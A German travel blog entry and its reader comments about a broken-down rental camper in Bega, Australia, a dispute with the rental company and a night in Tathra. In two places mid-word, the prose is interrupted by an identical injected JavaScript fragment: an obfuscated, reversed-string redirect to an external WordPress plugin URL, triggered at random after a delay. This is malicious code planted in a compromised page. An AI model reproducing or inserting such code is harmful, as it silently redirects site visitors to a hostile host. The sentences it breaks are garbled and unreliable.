Hoffentlich wird es nicht zum Running Gag, wenn wir von einer Panne berichten. Der heutige Tag begann eigentlich ziemlich vielversprechend. Um ca. 09.00 Uhr erhielten wir einen Anruf von unserem Camperverleih, dass nun alles organisiert sei und wir uns darauf einstellen sollen, in den nächsten Minuten abgeholt zu werden.
Prompt hat sich auch der roadside assistent per SMS bei uns gemeldet, dass wir die Warnblinkanlage einschalten und angeschnallt bleiben sollen.
Aha, eine Standardmeldung also. Wir standen die ganze Nacht über auf dem Caravan Park in Bega und haben natürlich nicht die Warnblinkanlage die ganze Zeit eingeschaltet gelassen; abgesehen davon, dass unsere Batterie leer ist und der Warnblinker eh nicht funktionieren würde.
Roy und seine Frau haben sich sehr herzlich von uns verabschiedet und würden sich freuen, wenn wir mal wieder auf dem Campingplatz in Bega halt machen würden.
Anschließend sind wir dann abgeholt und zur Werkstatt gebracht worden. Im Autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hieß es noch, der Camper wird heute fertig. Das benötigte Teil ist entweder vorrätig oder lässt sich heute noch besorgen …
Um 13.00 Uhr, wir waren gerade Fish und Chips essen, kam die Nachricht: Das benötigte Ersatzteil ist nicht da. Es muss erst bestellt werden und kommt morgen mit der ersten Lieferung um 10.00 Uhr an. Mir platzt ja eigentlich selten der Kragen, aber heute war es soweit. Zuerst habe ich eine saftige E-Mail an den Verleiher geschickt mit der Aufforderung, sich umgehend bei uns zu melden. Danach habe ich der Dame am Telefon (die sich umgehend gemeldet hat) unmissverständlich zu verstehen gegeben, dass wir uns eine solche Behandlung nicht gefallen lassen werden. Die anderen Besucher im Restaurant schauten schon besorgt zu unserem Tisch herüber. Anja hat sie dann beruhigen können und wir bekamen moralische Unterstützung von den Anwesenden. Die Dame am Telefon wollte uns schon wieder in dem Caravan Park in Bega einquartieren. Also dort, wo überhaupt nichts los ist, wo nichts zu sehen ist, wo man noch nicht einmal kurz einen Kaffee trinken gehen kann. Ich hab ihr dann klar gemacht, wenn wir keine vernünftige Lösung finden, werden wir vom kompletten Vertrag wegen Nichterfüllung zurück treten und uns einen Mietwagen nehmen. Den Dreckscamper können sie sich dann selbst in Bega abholen! Wir haben dann die Genehmigung erhalten, auf eigene Faust für 80 AU$ unterzukommen. Ich interpretiere das mal großzügig als pro Person.
Wir sind dann mit dem (School-)Bus nach Tathra gefahren, dass wir ja schon von gestern kannten und wussten, dass dort ein toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toller Stand ist. Die Fahrt dauerte etwa 25 Minuten und endlich waren wir am Meer. Dort haben wir erst einmal einen ausgiebigen Spaziergang bis in den Mondschein (18.00 Uhr) unternommen. Anschließend waren wir in einen typisch australischen Sportclub essen und ein paar Bier trinken, um den Tag doch noch schön ausklingen zu lassen. Und die Nacht schlafen wir in einem richtigen Bett ohne auf- und abbauen. Es hat also auch Vorteile, wenn der Camper kaputt ist;-)
Unsere Routen werden kürzer …
Ich habe mal eine blöde Frage, warum stellt der Verleih Euch keinen neuen Camper ?
Auf die Idee sind wir am Samstag auch schon gekommen. Die nächsten Depots sind in Sydney oder Melbourne. Eine Reparatur am Montag wäre nach Aussage des Mitarbeiters schneller. Sollte ja Montag vormittag fertig sein. Am Montag vormittag hat der Mechaniker auch noch erklärt, die Teile sind da. Wir haben es uns aber trotzdem schön gemacht?